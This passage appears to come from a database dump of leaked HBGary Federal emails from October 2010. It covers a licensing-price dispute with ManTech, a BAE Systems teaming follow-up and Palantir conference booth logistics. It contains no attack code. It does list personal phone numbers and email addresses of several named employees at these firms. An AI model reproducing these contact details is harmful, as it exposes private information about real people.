speak with David and learn more about his motives.&nbsp; I just wanted to make sure that you, Penny and I were all on the same page.&nbsp; It would be helpful if you tell Eric that deployment of HBGary software into production always happens with revenue, and ManTech won’t be an exception.&nbsp;In reading the tea leaves of David’s email, it sounds like he is holding out the carrot of future services revenue to HBG Fed, but aren’t you expecting that revenue anyhow?&nbsp; Please have a frank conversation with Eric and ask him if future partnering is contingent on our cutting them a sweetheart deal.&nbsp; We have no plans to grant the sweetheart deal, but we need to ask the hard questions to flush out what Eric is thinking.&nbsp; Also ask who is putting these thoughts into David’s head?&nbsp; Who within ManTech might be influencing him?&nbsp; David stated, “I’ve had discussions with my Executive Leadership toward that end”.&nbsp; Who?&nbsp; I will ask too.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 10:54 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Bob Slapnik\'Subject:&nbsp;Re: ManTech&nbsp;I am on board. &nbsp;You can\'t ask a small company to give away software for free in hopes of future engagements. &nbsp;One thing to be clear on is big companies don\'t speak with one voice, they have many. &nbsp;The guy your working with fits somewhere in the food chain below Eric (who I am meeting with tomorrow). &nbsp;And often external and internal efforts are separated financially and functionally.&nbsp;What I am not clear on is why the change in plans? &nbsp;If I understand the circumstances clearly I may be able to help.&nbsp;Aaron&nbsp;&nbsp;On Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:Nope we can’t do this for free, it’s a business just like they have a business and we need to make money.&nbsp; WE aren’t using their software for free and quite frankly we’ve done MORE than we said we would because of this “strategic” relationship.&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:35 PMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Aaron Barr\'Subject:&nbsp;ManTech&nbsp;Penny and Aaron,&nbsp;Please see the email chain below.&nbsp; I wanted to have some internal dialogue before I speak with David.&nbsp;The attached powerpoint was David’s proposition to HBGary that they purchase DDNA during the development of their MDA system then deploy it to the ManTech SOC after the New Year.&nbsp; We ended up charging them $30,625 during the development phase with the plan that they would apply that amount toward the purchase by the SOC.&nbsp;In his email below he is “pitching” that we provide our software to the ManTech SOC for free in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp;&nbsp; Personally, I don’t like the idea.&nbsp; In my entire business career I’ve never experienced a good outcome for “future revenue” schemes.&nbsp;&nbsp;One reason we cooperated during their development phase was because we had a promise that the SOC would buy.&nbsp; Now, David is proposing to change the deal.&nbsp; We had a deal in concept worked out for the development phase, a discounted reseller price for the SOC, and reseller pricing for when they use our software on their services engagements.&nbsp; I view his latest “offer” to be reneging on a handshake agreement.&nbsp;I want the three us (Penny, Aaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I am willing to bend if ManTech shows could faith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them an extra reseller discount on some future transactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take the financial risk, not us.&nbsp;Bob&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 8:19 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;All good questions&nbsp;J&nbsp;Thanks for the update on the mods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks out from obtaining the mods?&nbsp;As you know we have purchased a 500 node license for $32K+ that were are using for testing and integration, with the intent the annual clock for the licensing would start at the beginning of 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would acquire additional DDNA licenses (up to 2,500 additional licenses, bringing the total to 3,000 with the 500 we’ve already purchased).&nbsp;I’ve been holding off on finalizing anything with the SOC, as I wanted to address the possibility of a strategic business relationship with you (HBGary), wherein ManTech would be able to leverage DDNA free of cost internally in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp; I’ve had discussions with my Executive Leadership toward that end, and I need to follow up on with my leadership again so we can move toward some sort of solution.&nbsp;At any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my court now to identify the use-strategy for DDNA at the ManTech SOC, and I will get back to you.&nbsp; If for some reason you haven’t heard from me in two weeks, please ping me again.&nbsp; I certainly don’t mean to get side-tracked, but I wear about six different hats&nbsp;J&nbsp;Thanks,Dave&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:26 PMTo:&nbsp;Savage, David RSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;David,&nbsp;Wanted to tell you that the software mods you wanted have been completed and are now in testing.&nbsp; Also, we had discussed that you intend to deploy your MDA software with HBGary’s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that the ManTech SOC would be purchasing the HBGary software as part of that deployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget identified for that purchase?&nbsp;This email is chock full of questions, isn’t it?&nbsp;&nbsp;J&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:29 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;FW: Voice Message from MARYLAND (93016528885)&nbsp;Bob –&nbsp;I received your voicemail.&nbsp; I do not have easy access to a phone this week.&nbsp; Is there anything we can address via email ?&nbsp;Thanks,Dave&nbsp;From:&nbsp;Unity Messaging System - CHN-UNITY-1&nbsp;Sent:&nbsp;Monday, October 04, 2010 1:55 PMTo:&nbsp;Savage, David RSubject:&nbsp;Voice Message from MARYLAND (93016528885)&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',3045,'aaron_hbgary_com/3045.html'),(12650,'2010-10-05','\"Maier, Raymond \\\"Joe\\\" (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>','/aaron@hbgary.com/new/1297009335.M528014P14101Q7505.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Ping','Got your email. \r\n\r\nWe may still want to set up a demo for our customer on my TO. We can discuss later after the current initiative gets rolling.\r\n\r\nChris has left the company. Ms SuZett Estell is the capture manager for Asteroid.\r\n\r\nSuZett Estell ( suzett.estell@baesystems.com / 719-362-4019 )\r\n\r\n\r\nJoe Maier\r\n719.235.1898 - Mobile\r\n719.325.8445 - Work\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, 04 October, 2010 04:09 PM\r\nTo: Chisholm, Chris (US SSA); Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\nCc: Barr Aaron\r\nSubject: Ping\r\n\r\nHi Chris & Joe,\r\n\r\nI\'ve sent several emails, which appear to have bounced back, not sure if BAE was having email problems?  I also left you each some voicemails.  Just wanted to touch base with your current effort (and any support we can provide -- re Joe\'s call a few weeks back) and also verify that Chris has everything for the Asteroid teaming.  I\'d appreciate a call or email when either of you have a chance.\r\n\r\nRegards,\r\nTed\r\n',8940,'aaron_hbgary_com/8940.html'),(12651,'2010-10-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009335.M721479P14101Q7506.eml','\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>,\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>,','Re: Ping','Thanks Joe,\r\n\r\nHello Suzett,\r\n\r\nYou can learn about our company at http://www.HBGary.com. I\'ll send\r\nyou some whitepapers as well.\r\n\r\nWe have offensive capabilities which are not advertised on our website.\r\n\r\nMy contact info is below:\r\n\r\nTed Vera\r\n719-237-8623\r\nTed@HBGary.com\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 7:36 AM, \"Maier, Raymond \\\"Joe\\\" (US SSA) (US ASTSS\r\nHuntsville)\"  wrote:\r\n\r\n> Got your email.\r\n>\r\n> We may still want to set up a demo for our customer on my TO. We can discuss later after the current initiative gets rolling.\r\n>\r\n> Chris has left the company. Ms SuZett Estell is the capture manager for Asteroid.\r\n>\r\n> SuZett Estell ( suzett.estell@baesystems.com / 719-362-4019 )\r\n>\r\n>\r\n> Joe Maier\r\n> 719.235.1898 - Mobile\r\n> 719.325.8445 - Work\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, 04 October, 2010 04:09 PM\r\n> To: Chisholm, Chris (US SSA); Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\n> Cc: Barr Aaron\r\n> Subject: Ping\r\n>\r\n> Hi Chris & Joe,\r\n>\r\n> I\'ve sent several emails, which appear to have bounced back, not sure if BAE was having email problems?  I also left you each some voicemails.  Just wanted to touch base with your current effort (and any support we can provide -- re Joe\'s call a few weeks back) and also verify that Chris has everything for the Asteroid teaming.  I\'d appreciate a call or email when either of you have a chance.\r\n>\r\n> Regards,\r\n> Ted\r\n',124,'aaron_hbgary_com/124.html'),(12652,'2010-10-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009335.M937829P14101Q7507.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIT has to be in writing, I will not trust them again.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 4:48 AM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy-Hoglund\'\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK I will ask Eric some questions.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA thought though. &nbsp;Is it possible to see how far he\r\nwill take this. &nbsp;They manage 5 current SOCs. &nbsp;What if they allow us\r\nto place 5 qualified candidates in existing SOCs and within the strategic\r\npartnership guarantee they will sell DDNA within their MDA solution.\r\n&nbsp;Remember they do $30-40M in IR work according to Eric.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGiving away free software is like putting a person on a\r\nservices contract free of charge. &nbsp;It is just not good business. &nbsp;But\r\nif they can push the cost somewhere else and allow us to put people on contract\r\nand then we can figure out how to get some of that money to HBGary from the\r\nservices side to pay for the licenses in the SOC.?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 7:24 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will speak with David and learn more about his motives.&nbsp;\r\nI just wanted to make sure that you, Penny and I were all on the same\r\npage.&nbsp; It would be helpful if you tell Eric that deployment of HBGary\r\nsoftware into production always happens with revenue, and ManTech won&#8217;t be an\r\nexception.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn reading the tea leaves of David&#8217;s email, it sounds like he is\r\nholding out the carrot of future services revenue to HBG Fed, but aren&#8217;t you\r\nexpecting that revenue anyhow?&nbsp; Please have a frank conversation with Eric\r\nand ask him if future partnering is contingent on our cutting them a sweetheart\r\ndeal.&nbsp; We have no plans to grant the sweetheart deal, but we need to ask\r\nthe hard questions to flush out what Eric is thinking.&nbsp; Also ask who is\r\nputting these thoughts into David&#8217;s head?&nbsp; Who within ManTech might be\r\ninfluencing him?&nbsp; David stated, &#8220;I&#8217;ve had discussions with my Executive\r\nLeadership toward that end&#8221;.&nbsp; Who?&nbsp; I will ask too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 10:54 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Bob Slapnik\'\r\nSubject:&nbsp;Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am on board. &nbsp;You can\'t ask a small company to give\r\naway software for free in hopes of future engagements. &nbsp;One thing to be\r\nclear on is big companies don\'t speak with one voice, they have many. &nbsp;The\r\nguy your working with fits somewhere in the food chain below Eric (who I am\r\nmeeting with tomorrow). &nbsp;And often external and internal efforts are\r\nseparated financially and functionally.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat I am not clear on is why the change in plans? &nbsp;If\r\nI understand the circumstances clearly I may be able to help.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope we can&#8217;t do this for free, it&#8217;s a business just like they\r\nhave a business and we need to make money.&nbsp; WE aren&#8217;t using their software\r\nfor free and quite frankly we&#8217;ve done MORE than we said we would because of\r\nthis &#8220;strategic&#8221; relationship.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:35 PM\r\nTo:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Aaron Barr\'\r\nSubject:&nbsp;ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease see the email chain below.&nbsp; I wanted to have some\r\ninternal dialogue before I speak with David.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe attached powerpoint was David&#8217;s proposition to HBGary that\r\nthey purchase DDNA during the development of their MDA system then deploy it to\r\nthe ManTech SOC after the New Year.&nbsp; We ended up charging them $30,625\r\nduring the development phase with the plan that they would apply that amount\r\ntoward the purchase by the SOC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn his email below he is &#8220;pitching&#8221; that we provide our software\r\nto the ManTech SOC for free in exchange for workshare on contracts and ManTech\r\nreselling DDNA licenses to customers via MDA.&nbsp;&nbsp; Personally, I don&#8217;t\r\nlike the idea.&nbsp; In my entire business career I&#8217;ve never experienced a good\r\noutcome for &#8220;future revenue&#8221; schemes.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne reason we cooperated during their development phase was\r\nbecause we had a promise that the SOC would buy.&nbsp; Now, David is proposing\r\nto change the deal.&nbsp; We had a deal in concept worked out for the\r\ndevelopment phase, a discounted reseller price for the SOC, and reseller\r\npricing for when they use our software on their services engagements.&nbsp; I\r\nview his latest &#8220;offer&#8221; to be reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI want the three us (Penny, Aaron and me) to be in agreement as\r\nto how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I\r\nam willing to bend if ManTech shows could faith with a reasonable amount of\r\nmoney upfront.&nbsp; Perhaps if they buy a license for the SOC we could provide\r\nthem an extra reseller discount on some future transactions to RECOVER THEIR\r\nCOSTS over time.&nbsp; I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 8:19 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll good questions&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the update on the mods, that is good news!&nbsp; In\r\nterms of testing, are we still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs you know we have purchased a 500 node license for $32K+ that\r\nwere are using for testing and integration, with the intent the annual clock\r\nfor the licensing would start at the beginning of 2011 when we actually deploy\r\nMDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would\r\nacquire additional DDNA licenses (up to 2,500 additional licenses, bringing the\r\ntotal to 3,000 with the 500 we&#8217;ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve been holding off on finalizing anything with the SOC, as I\r\nwanted to address the possibility of a strategic business relationship with you\r\n(HBGary), wherein ManTech would be able to leverage DDNA free of cost\r\ninternally in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.&nbsp; I&#8217;ve had discussions with my Executive\r\nLeadership toward that end, and I need to follow up on with my leadership again\r\nso we can move toward some sort of solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAt any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in two\r\nweeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get side-tracked,\r\nbut I wear about six different hats&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:26 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanted to tell you that the software mods you wanted have been\r\ncompleted and are now in testing.&nbsp; Also, we had discussed that you intend\r\nto deploy your MDA software with HBGary&#8217;s DDNA agent into the ManTech SOC after\r\nthe New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that the\r\nManTech SOC would be purchasing the HBGary software as part of that\r\ndeployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget\r\nidentified for that purchase?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis email is chock full of questions, isn&#8217;t it?&nbsp;&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:29 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI received your voicemail.&nbsp; I do not have easy access to a\r\nphone this week.&nbsp; Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Unity Messaging\r\nSystem - CHN-UNITY-1&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 1:55 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13032,'aaron_hbgary_com/13032.html'),(12653,'2010-10-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009336.M145055P14101Q7508.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Partner Booth Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen is this for (date?)&nbsp; I have a new table top comimg in\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 3:13 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: DeeAnn Buonaccorsi\r\nSubject: Re: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat thanks. &nbsp;I just need the basics: marketing\r\nmaterial, table cloth, business card stands, that pull up signage the small one\r\nnot the huge one\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat should do it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron&nbsp;\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 12:40 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure\r\nlet Deeann know wht you need\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 7:32 PM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Fwd: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan\r\nI get a bit of the booth material for this conference?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nDan Woods &lt;dwoods@palantir.com&gt;\r\nTo: Dan Woods &lt;dwoods@palantir.com&gt;\r\nSubject: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6\r\nPartner Booth Presenters:\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide, which should answer all\r\nyour logistical questions about the upcoming conference. &nbsp;You can write me\r\nwith any questions.\r\n\r\nSee you soon!\r\n\r\n-Dan\r\n\r\n\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com&lt;mailto:dwoods@palantir.com&gt; |\r\n650.248.1909\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15724,'aaron_hbgary_com/15724.html'),(12654,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009336.M389652P14101Q7509.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" 